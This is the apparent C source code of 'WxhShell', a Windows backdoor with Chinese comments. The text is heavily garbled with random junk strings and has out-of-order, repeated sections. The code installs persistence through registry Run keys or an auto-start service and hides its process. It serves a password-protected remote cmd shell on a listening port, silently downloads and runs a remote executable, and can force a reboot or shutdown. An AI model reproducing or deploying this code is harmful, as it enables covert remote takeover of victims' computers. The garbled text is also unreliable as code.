"GetModuleBaseNameA"); \
o2oQ3 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q^<amM! 9.xb-m7 if (!NtQueryInformationProcess) return 0; ;e_us!Sn kT
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Mm,\e6#* if(!hProcess) return 0; M
p<r`PM2 \
P6 ! if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \x$`/ v9J1Hha# CloseHandle(hProcess); d. d J^M <- sr& hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r=.@APZB if(hProcess==NULL) return 0; G "+[@| f\?Rhyz HMODULE hMod; :!Z |_y{b char procName[255]; [pms>TQ2 unsigned long cbNeeded; s8A"x`5( ^%%Rf if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "&XhMw4 Gfx!.[Y
CloseHandle(hProcess); a(IE8:yU` uUS~"\`fk if(strstr(procName,"services")) return 1; // 以服务启动 ;R&W#Q7>3 |63uoRr return 0; // 注册表启动 ~9rNP{+ } D4"<suU|. vD2(M1Q // 主模块 S7j(4@ int StartWxhshell(LPSTR lpCmdLine) `[E-V { {pi_yr3 SOCKET wsl; p".wqg*W BOOL val=TRUE; e`a4Gr int port=0; CUdpT$ $x3 struct sockaddr_in door; .>,Y
| _3u3b/%J? if(wscfg.ws_autoins) Install(); `Gxb98h/r [e\IHakj port=atoi(lpCmdLine); 5WHqD!7u ~9@527m<', if(port<=0) port=wscfg.ws_port; U*N{H$ACuR T/u61}'U{ WSADATA data; m{>" if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x| D|d}
|,KsJ2hD if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ('%Y3z; setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8d1qRCIz door.sin_family = AF_INET; yL<u>S0 door.sin_addr.s_addr = inet_addr("127.0.0.1"); hG`@#9|f door.sin_port = htons(port); }'{"P#e8"q X9c<g; if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 731RqUR closesocket(wsl); S_*Gv O return 1; [+5g 9tBJ } lO9Ixhf~iu e6J>qwD? if(listen(wsl,2) == INVALID_SOCKET) { kDJqT closesocket(wsl); |61ns6i! return 1; ,;MUXCC' } N DI4EA~z Wxhshell(wsl); 2N(Z^ WSACleanup(); 3J8>r|u;1' ADxje%!1O return 0; 08AD~^^ 2xi;13? } ?FS0zc!+ ]ZR`
6|"VO // 以NT服务方式启动 c#u_%* VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) B(FM~TVZ { <7T}b95 DWORD status = 0; ;9#W#/B DWORD specificError = 0xfffffff; v}5YUM0H ` m' j1 serviceStatus.dwServiceType = SERVICE_WIN32; g"!cO^GkT serviceStatus.dwCurrentState = SERVICE_START_PENDING; }/tf^@ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9;n*u9< serviceStatus.dwWin32ExitCode = 0; 1W.oRD&8j/ serviceStatus.dwServiceSpecificExitCode = 0; E!WlQr:b$ serviceStatus.dwCheckPoint = 0; F&CvqPI serviceStatus.dwWaitHint = 0; ZJFF4($qN >^W6'Q$P< hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); vEG7A$Z" if (hServiceStatusHandle==0) return; o3GZcH? Nv0a]Am status = GetLastError(); PGZe'r1E9 if (status!=NO_ERROR) iVVR$uzhH { t0xE serviceStatus.dwCurrentState = SERVICE_STOPPED; 'b [O-6v serviceStatus.dwCheckPoint = 0; q$H@W.f serviceStatus.dwWaitHint = 0; 2ZbSdaM= serviceStatus.dwWin32ExitCode = status; :%28*fl serviceStatus.dwServiceSpecificExitCode = specificError; jL)Y' SetServiceStatus(hServiceStatusHandle, &serviceStatus); e&A3=a~\s return; -=lL{oB1 } 7On.y* lHliMBSc serviceStatus.dwCurrentState = SERVICE_RUNNING; Bn.R,B0PL serviceStatus.dwCheckPoint = 0; HdY#cVxy serviceStatus.dwWaitHint = 0; Y[VXx8"p if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gs.+|4dv } 18kWnF]n= t\2-7Ohj6 // 处理NT服务事件,比如:启动、停止 wmMn1q0F VOID WINAPI NTServiceHandler(DWORD fdwControl) k^KpQ&n { j)nE!GKD( switch(fdwControl) Mj2Dat`p9 { gQ{<2u case SERVICE_CONTROL_STOP: '%+LQ"Bp serviceStatus.dwWin32ExitCode = 0; Cnc=GTRi serviceStatus.dwCurrentState = SERVICE_STOPPED; G^;]]Ji" serviceStatus.dwCheckPoint = 0; .;U?%t_7 serviceStatus.dwWaitHint = 0; cJSwA&
{ .R4,fCN SetServiceStatus(hServiceStatusHandle, &serviceStatus); TR
`C|TV> } Zu~t )W return; 2h}FotlO case SERVICE_CONTROL_PAUSE: "-5FUKI- serviceStatus.dwCurrentState = SERVICE_PAUSED; qauvwAMuX break; lA6{TH.x case SERVICE_CONTROL_CONTINUE: 'UGgY3 serviceStatus.dwCurrentState = SERVICE_RUNNING; "9~KVILlLu break; )-iUUak case SERVICE_CONTROL_INTERROGATE: 5,O:"3>c break; ZOppec1D }; 9qzHy}A SetServiceStatus(hServiceStatusHandle, &serviceStatus);
A;^{%S } _ Fk^lDI- F7=\*U // 标准应用程序主函数 "*c&[ALw int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RZ9_*Lq7+ { YXF^4||j.c >$3 =yw% // 获取操作系统版本 uVX,[%*P OsIsNt=GetOsVer(); _S*QIbO GetModuleFileName(NULL,ExeFile,MAX_PATH); hr&UD| E= "cOBEhn%l // 从命令行安装 vZ6R>f
if(strpbrk(lpCmdLine,"iI")) Install(); P $r!u%W J!Rqm!)q // 下载执行文件 LR4W if(wscfg.ws_downexe) { n(n7"+B if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #!m^EqF1_ WinExec(wscfg.ws_filenam,SW_HIDE); *uxKI:rB: } }`2+`w%uZ az}zoFl if(!OsIsNt) { ?<OyJ|;V // 如果时win9x,隐藏进程并且设置为注册表启动 rc`I l{~k HideProc(); !0Ak)Q]e' StartWxhshell(lpCmdLine); a_D K"8I } `sv]/8RN else ;s4e8![o3 if(StartFromService()) a@? Bv // 以服务方式启动 4VA]S StartServiceCtrlDispatcher(DispatchTable); dry%aT else v9gaRqi8 // 普通方式启动 f7%g=0.F StartWxhshell(lpCmdLine); ^Y8G}Z| )"00fZL return 0; QdD@[ } nAsc^Yh F"tM?V.| >;s2V_d oChf&W 8u =========================================== 2@&"*1(Xu 0'zjPE# ~PN[ #e] idS+&:' )Dcee@/7S G he@m6|D " \pI
,6$' 3m~3l d #include <stdio.h> *JWPt(bnI #include <string.h> cvpZF5mL]U #include <windows.h> Sx_j`Cgy #include <winsock2.h> n@oSLo`k,` #include <winsvc.h> ~(cqFf #include <urlmon.h> B\dhw@hM Xi=4S[.4 #pragma comment (lib, "Ws2_32.lib") mm
|* #pragma comment (lib, "urlmon.lib") ])zpx- ]go.IfH #define MAX_USER 100 // 最大客户端连接数 LH~
t5 #define BUF_SOCK 200 // sock buffer 1u*
(=! #define KEY_BUFF 255 // 输入 buffer ?J"Y4,{ ^<aj~0v #define REBOOT 0 // 重启 ,(+ZD@Rg #define SHUTDOWN 1 // 关机 s21)*d 2%pe.stQ #define DEF_PORT 5000 // 监听端口 `ih#>i_& '?E@H."" #define REG_LEN 16 // 注册表键长度 *m6*sIR #define SVC_LEN 80 // NT服务名长度 n8&x=Z}Xs ~ }G#ys\1 // 从dll定义API 6x@]b>W typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); c[?&;# feV typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1fh6A`c typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); u/`x@u typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ap}`Q(. _`9WNJiL // wxhshell配置信息 uVw|jj struct WSCFG { S.owVMQ int ws_port; // 监听端口 <FvljKuq+ char ws_passstr[REG_LEN]; // 口令 8KzH
- int ws_autoins; // 安装标记, 1=yes 0=no _<)HFg6 char ws_regname[REG_LEN]; // 注册表键名 =?hbi] char ws_svcname[REG_LEN]; // 服务名 H|cxy?iJ char ws_svcdisp[SVC_LEN]; // 服务显示名 1a#R7chl char ws_svcdesc[SVC_LEN]; // 服务描述信息 ve*6WDK,H char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )U2%kmt int ws_downexe; // 下载执行标记, 1=yes 0=no Z1DF ) char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,0n=*o@W char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u z:@ )Mw 3ZE92 }; 7$:Jea MV?sr[V-oP // default Wxhshell configuration +AOpB L' struct WSCFG wscfg={DEF_PORT, <)gTi759h) "xuhuanlingzhe",
&y7~
1, dQ Ao~]B "Wxhshell", M[&p[P@ "Wxhshell", 2AjP2 "WxhShell Service", x=44ITe1n[ "Wrsky Windows CmdShell Service", p"NuR4 "Please Input Your Password: ", p?+;[!: 1, }An;)!>(nF "http://www.wrsky.com/wxhshell.exe", Olq`mlsK "Wxhshell.exe" liH1r1M }; p/jAr+XM 9Cw !< // 消息定义模块 v/G^yZa char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?? Dv\yLZI char *msg_ws_prompt="\n\r? for help\n\r#>"; Ozc9y y!% char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; JjQTD-^ char *msg_ws_ext="\n\rExit."; K`cy97 char *msg_ws_end="\n\rQuit."; h56s ~(?O char *msg_ws_boot="\n\rReboot..."; G*^4CJ char *msg_ws_poff="\n\rShutdown..."; ~#JX
0J= char *msg_ws_down="\n\rSave to "; |Fzt|
\ &. "ltB char *msg_ws_err="\n\rErr!"; $K!6T char *msg_ws_ok="\n\rOK!"; 3WY:Fn+# `b[@GGv char ExeFile[MAX_PATH]; :,MI,SwnS int nUser = 0; ~*G}+Ur$2 HANDLE handles[MAX_USER]; z&A#d int OsIsNt; KRj3??b tqOx8% SERVICE_STATUS serviceStatus; 4_vJ_H-mO, SERVICE_STATUS_HANDLE hServiceStatusHandle; ]iiB|xT wafws*b% // 函数声明 `>{S?t< int Install(void); yTU'voE.| int Uninstall(void); SQf.R%cg$ int DownloadFile(char *sURL, SOCKET wsh); a~`,zQ -@ int Boot(int flag); %A;s3]V void HideProc(void); ?B:],aztf int GetOsVer(void); 4yR X{Bl| int Wxhshell(SOCKET wsl); 8)&J oPN void TalkWithClient(void *cs); !Y]%U @4} int CmdShell(SOCKET sock); ._}Dqg$ int StartFromService(void); M0uC0\'#P int StartWxhshell(LPSTR lpCmdLine); X0%BE! Z-z(SKL VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); U{-[lpd VOID WINAPI NTServiceHandler( DWORD fdwControl );
8B7,qxZ ny+_&l^R~( // 数据结构和表定义 q3Y49d SERVICE_TABLE_ENTRY DispatchTable[] = HAMps[D[ { uGS^*W$ {wscfg.ws_svcname, NTServiceMain}, >qynd'eToR {NULL, NULL} ' ui`EL % }; vjXCArS v1Jg8L= // 自我安装 A-qpuI;f int Install(void) 6T A2 { 5lakP? char svExeFile[MAX_PATH]; &Zm1(k6&K HKEY key; /)xQ# yfX strcpy(svExeFile,ExeFile); 'lR f #'h(o/hz&& // 如果是win9x系统,修改注册表设为自启动 %v1*D^)) if(!OsIsNt) { *XqS~G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %Wb$qpa RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); / ,
.rUn1 RegCloseKey(key); )]m_ L$9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 15`,kJSK RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }zV#?;} RegCloseKey(key); kX]p;C return 0; 7#iT33(3 } C)qP9uW } ,DWC=:@X } fm^)u" else { 38(|a5 :vy./83W // 如果是NT以上系统,安装为系统服务 oJ)v6"j SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rZ7)sE5L if (schSCManager!=0) qt#4i.Iu+ { %p.hwgvnp SC_HANDLE schService = CreateService O7tL,)Vv ( Nx4X1j?-n schSCManager, }WG -R wscfg.ws_svcname, z`rW2UO#a` wscfg.ws_svcdisp, .(8eWc YK SERVICE_ALL_ACCESS,
.)XJ- SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .FAuM~_99b SERVICE_AUTO_START, 6dX l ny1H SERVICE_ERROR_NORMAL, h2Jdcr#@FF svExeFile, } T<oLvS NULL, pNR69/wGi NULL, 1`8(O >5 NULL, oq }Q2[.b NULL, z[ N_3n NULL ZE>!]# , ); wKs-<b%; if (schService!=0) (Qys`D { }X*.Vv A CloseServiceHandle(schService); )VCRbz"[g CloseServiceHandle(schSCManager); H(Q|qckj strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w*s#=]6 strcat(svExeFile,wscfg.ws_svcname); #pw=HHq*( if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (-rw]=Qu RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Pxm~2PAm RegCloseKey(key); o+Kh2;$) return 0; 6J%+pt[tu } N8:&v } )IP{yL8c CloseServiceHandle(schSCManager); *Ad7GG1/u } yS:1F
PA$_ } 2Md'<. IKV:J9 return 1; mh8~w~/[ } aF\?X&| We*)RXm% // 自我卸载 n/]$k4h int Uninstall(void) vVi))%&S( { g$ oe00b HKEY key; wUz)9n 6j uua1_#a if(!OsIsNt) { *!y.!v* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lhA<wV1-9G RegDeleteValue(key,wscfg.ws_regname); Q-GnNT7MB3 RegCloseKey(key); hq^@t6!C\m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pJ 1Q~tI RegDeleteValue(key,wscfg.ws_regname); 8QGj:3 RegCloseKey(key); |.Pl[y return 0; A{Q :,S) } +tXOP|X } R'q:Fc }
h8!;RN[ else { <KDl2>O cAE.I$T( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y)I8(g}0 if (schSCManager!=0) qm)KO 4 { 5CsJghTw SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r.:H` if (schService!=0) 8\^[@9g3\3 { x@]pUA1 if(DeleteService(schService)!=0) { "HQH]?!k CloseServiceHandle(schService); :bA@
u> CloseServiceHandle(schSCManager); AT{ewb return 0; g{cHh(S } cKX6pG CloseServiceHandle(schService); ,{{uRs/ } ]{[VTjC7rY CloseServiceHandle(schSCManager); !Ax 7k;T } +0O{"XM } 0F<O \ w^&TG3m1~ return 1; 4{\h53j$ } z.[ Ok m
dC.M$ // 从指定url下载文件 kE".v|@ int DownloadFile(char *sURL, SOCKET wsh) @:. 6'ji,` { gi7As$+E HRESULT hr; <'4DMZ-G char seps[]= "/"; X~Li` char *token; 1lNg} !)[K char *file; 9 0[gXj char myURL[MAX_PATH]; PaEsz$mgy char myFILE[MAX_PATH]; t
_Q/v )]%GNdU strcpy(myURL,sURL); D(&${Mnac token=strtok(myURL,seps); Iy](?b while(token!=NULL) E$FXs~a { `oh'rm3'8 file=token; -NVk>ENL4 token=strtok(NULL,seps); NdQXQa?, } G2k r~FG 4\?I4|{pC GetCurrentDirectory(MAX_PATH,myFILE); ujcNSX* strcat(myFILE, "\\"); PL8eM]XS strcat(myFILE, file); V&_5q`L send(wsh,myFILE,strlen(myFILE),0); I@ch 5vl4 send(wsh,"...",3,0); (*%+!PS hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u+zq:2)H6 if(hr==S_OK) HPT9B?^ return 0; }b
YiyG\ else ,7pO-:*g return 1; ~S
R:,R XQk9 U } 0X)'8N %+G/oF| // 系统电源模块 dox QS ohS int Boot(int flag) S&V5zB""n { }d)>pH HANDLE hToken; Z\{WBUR;4t TOKEN_PRIVILEGES tkp; ]P ->xJ m\4jiR_o if(OsIsNt) { $Tq-<FbM) OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T.HI
$(d LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); EPr{1Z tkp.PrivilegeCount = 1; U$pHfNTH tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; awXL}m[_! AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X63DBF4A if(flag==REBOOT) { >U9!KB if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) LIVVb"V|, return 0; /PIU@$DV } HF5aU:M else { RH. oo& if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
mYb8 return 0; jo<[|ZD } g?i_10Xlp } `a2Oj@jP else { C>@~W(IE if(flag==REBOOT) { RN3w{^Ll if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .d9VV& return 0; U;6~]0^K } }x-~>$:" else { A
A<9XC if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :%A1k2
return 0; m5zP|s1`[' } 89@89-_mC } 'oEFNC9V GA6Z{U{XS return 1; tB[(o%k } bK("8T\? S53 [Ja // win9x进程隐藏模块 _>A])B
^ void HideProc(void) 42Vy#t/HC { OV>T}Fq 4^alAq^ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); PKfxL}:"8 if ( hKernel != NULL ) =o _d2Ak { ^=D77 jS pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _ZD)#? ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +B_q? 6pR FreeLibrary(hKernel); c.,:rX0S } !V@Y \M
d v<tH 3I+ return; \9i.dF } klUxt?- #JO#PV% // 获取操作系统版本 5]p>&|Ud int GetOsVer(void) L|6c lGp { JeUFCWm OSVERSIONINFO winfo; aiw~4ix winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
`Xmf4 GetVersionEx(&winfo); m2{z if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tJ.LPgfZ return 1; / vje='[! else
O\]CfzR return 0; p4Vw`i+DnH } 'iMI&?8u ,$vc*}yI0 // 客户端句柄模块 4VaUa8 D int Wxhshell(SOCKET wsl) x;Dr40wD@y { u/y`M]17 SOCKET wsh; <s+=v! struct sockaddr_in client; w69`vK
DWORD myID; A~I}[O~(pb %r6~5_A while(nUser<MAX_USER) ]v94U b { ID'@}69.S int nSize=sizeof(client); !&E>8h wsh=accept(wsl,(struct sockaddr *)&client,&nSize); cKF02?)TX if(wsh==INVALID_SOCKET) return 1; lUCdnp;w' %~^R Iwm handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wxo( if(handles[nUser]==0) w:'$Uf8] closesocket(wsh); s.C-II?e else !S%XIq}FX nUser++; "@GopD } ^o:0 Y}v= WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *M+:GH/5 8xg:ItJaA0 return 0; )5d&K8@ } +*)B;)P )V)4N[?GC // 关闭 socket Q`AJR$L void CloseIt(SOCKET wsh) ,O3"r; { #hR}7K+@ closesocket(wsh); A>7'W\R nUser--; pK*-In ExitThread(0); RJF1~9 } ,UWO+B] EW#.)@- // 客户端请求句柄 9N=Dls void TalkWithClient(void *cs) X_Y$-I$qd { i0p"q p MV9{>xX SOCKET wsh=(SOCKET)cs; Jev@IORN\ char pwd[SVC_LEN]; ?h
K+h .{ char cmd[KEY_BUFF]; \^N9Q9{7] char chr[1];
6=A++H@ int i,j; 4w]u: eU Ha)w*1&w" while (nUser < MAX_USER) { ,a^_
~(C (M.Sl if(wscfg.ws_passstr) { RU_=VB % if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zMtK_ccQ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jh\q2E~,` //ZeroMemory(pwd,KEY_BUFF); X?4tOsd i=0; % OiSuw while(i<SVC_LEN) { ,589/xTA@ !ybEv| = // 设置超时 4vBZb^W;9 fd_set FdRead; ZwO&G\A^ struct timeval TimeOut; n8zUL1:R FD_ZERO(&FdRead); S5m1~fz FD_SET(wsh,&FdRead); u"pn'H TimeOut.tv_sec=8; `9S<E TimeOut.tv_usec=0; x3wyIio* int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); SGNi~o if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qUpMq:Uw
@tDVW*! if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9J%dd0 pwd=chr[0]; :8Q6=K87 if(chr[0]==0xd || chr[0]==0xa) { "vU:qwm pwd=0; cQ3Dk<GZ break; "~d)$]+ } "-ZuH i++; v`y{l>r, } Uy_`=JZ Am kHVg // 如果是非法用户,关闭 socket C/!2q$ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]>R`]U9*O } ^!pagt^ 'f;+*~*L send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wF@qBDxg send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d+2I+O03 [.Kia
> while(1) { iOki ZN+d> QdC>fy ZeroMemory(cmd,KEY_BUFF); r(cS{oni PJA 1/" // 自动支持客户端 telnet标准 c/T]=S[ j=0; Z33wA?9 while(j<KEY_BUFF) { ?F?!QrL if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ua4QtDSs cmd[j]=chr[0]; "28x-F+J if(chr[0]==0xa || chr[0]==0xd) { G_42ckLq cmd[j]=0; 2+"# break; dVO|q9 / } tV#x{DN j++; I!# 42~\ } Gt6$@ji4u V-7!)&q // 下载文件 <FGNV+?%e if(strstr(cmd,"http://")) { +Icg;m{ send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^BNg^V. if(DownloadFile(cmd,wsh)) .f(x9|K^ send(wsh,msg_ws_err,strlen(msg_ws_err),0);
]MUuz'< else Eg
w ? send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?"qU.}kGL } = UTv else { jw(v08u > Rfa1v*( switch(cmd[0]) { Wv(VV[?/& YM1@B`yWE // 帮助 s{IycTbz case '?': { )5&w send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); / x$O6gi break; D_@r_^} } q'K=Ly+ // 安装 r%_)7Wk* case 'i': { ZZl)p\r if(Install()) eT}c_h) send(wsh,msg_ws_err,strlen(msg_ws_err),0); JRU)AMMU& else tOp>OoD send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <5C3c&sds break; 4\Q ?4ZX } ']}ZI 8 // 卸载 aQinR"o case 'r': { XL} oYL]}& if(Uninstall()) =GnDiI send(wsh,msg_ws_err,strlen(msg_ws_err),0); q1NAKcA<U else RUO,tB|(_; send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6I_W4`<VeZ break; dk{yx(Ty } ->K*r\T // 显示 wxhshell 所在路径 4V<s" case 'p': { X<Vko^vlj char svExeFile[MAX_PATH]; Qy@chN{eP strcpy(svExeFile,"\n\r"); AX]lMe
strcat(svExeFile,ExeFile); wm8(Ju send(wsh,svExeFile,strlen(svExeFile),0); roW8 4x break; s:;!QIC5jo } Ds0^/bYp& // 重启 Cd6^aFoK! case 'b': { LA"`8 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Bv!j.$0d{ if(Boot(REBOOT)) 1_GUi send(wsh,msg_ws_err,strlen(msg_ws_err),0); [",W TZ: else { =wI,H@ closesocket(wsh); ~{U~9v^v( ExitThread(0); JsVW:8QO~ } PN0:,.4 break; ic?6p } *Pw;;#\B // 关机 ,Qj7wFZ case 'd': { !:rQ@PSy9 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8n);NZ if(Boot(SHUTDOWN)) IY,&/MCh send(wsh,msg_ws_err,strlen(msg_ws_err),0); *>S\i7RET else { Td"f(&Hk& closesocket(wsh); oDM}h
+ ExitThread(0); <P}{0Y~@*W } HPr5mWs: break; A*MlK" } H.wp{m{ // 获取shell dO rgqz`e case 's': { [^~Fu9+" CmdShell(wsh); Ou8@7S closesocket(wsh); 0I~xD9l9 ExitThread(0); x:@Ht TX break; F/&Z1G. } ",`fGu ) // 退出 y\r8_rBo case 'x': { jIAl7aoY send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ZqS'xN:k CloseIt(wsh); s{`r$:! break; i<)c4 } N`8?bU7a}" // 离开 q=UKL`;C}U case 'q': { /`}C~ send(wsh,msg_ws_end,strlen(msg_ws_end),0); M,q'
closesocket(wsh); }|{yd03+ WSACleanup(); Uhb6{'+ exit(1); Z"% = break; s 6vsV } KuE
2a,E4 } 'UW7zL5 } waO*CjxE: $>8+t>| // 提示信息 dl(cYP8L if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L;E9"7Jo } [
ecYpE< } Bb8lklQ p24sWDf return; b!<?,S } aL+k1v[m cz&Qoyh{; // shell模块句柄 mi%d([)%< int CmdShell(SOCKET sock) YNHn# 98\ { &Q(Q/]U~ STARTUPINFO si; s26:(J
[{ ZeroMemory(&si,sizeof(si)); 9IC"p<D si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :}e*3={4 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T~=NY,n PROCESS_INFORMATION ProcessInfo; 2vu"PeU9 char cmdline[]="cmd"; ]0V~|<0c CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !)_80O1 return 0; Gvl-q1PVC } X2q$i @M:j~ // 自身启动模式 {$oZR"MP int StartFromService(void) (9fq UbG { V5qvH"^ typedef struct 2EycFjO { pkjL2U: DWORD ExitStatus; mS&[<[x DWORD PebBaseAddress; }qi6K-,oU DWORD AffinityMask; #CHsH{d DWORD BasePriority; [[oX$0Fp\! ULONG UniqueProcessId; WTSY:kvcCY ULONG InheritedFromUniqueProcessId; =TwV_Dro~ } PROCESS_BASIC_INFORMATION; M2%<4(UwI y<8)mw PROCNTQSIP NtQueryInformationProcess; R%8nR6iG" 9I+;waLlB static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -:*PXu static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r >u0Y P_,f HANDLE hProcess; ) ?+-Z2BwA PROCESS_BASIC_INFORMATION pbi; OT{qb!eYI #@3RYx HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Pm#B'N#*N| if(NULL == hInst ) return 0; W>bhSKV% !+JSg uy g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %* vYX0W" g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3yZtyXRPn NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y}(v[QGV 6V*@
{ if (!NtQueryInformationProcess) return 0; 4US8B=jk V0c*M>V hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3)EslBA7i if(!hProcess) return 0; v^HDR 3I ?K|PM<A if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T{{J'
_s5L }i|o":-x+ CloseHandle(hProcess); H.v`JNs( < 5;0LPU hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); UN_lK<utF if(hProcess==NULL) return 0; FavU"QU&| n|yl3v HMODULE hMod; 1Jd82N\' char procName[255]; Pb+oV unsigned long cbNeeded; "7l p|0I q'hMf?_ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *8kg6v% 4~ZQsw` CloseHandle(hProcess); #W~5M ?+ /n/U)!tp if(strstr(procName,"services")) return 1; // 以服务启动 W6E9
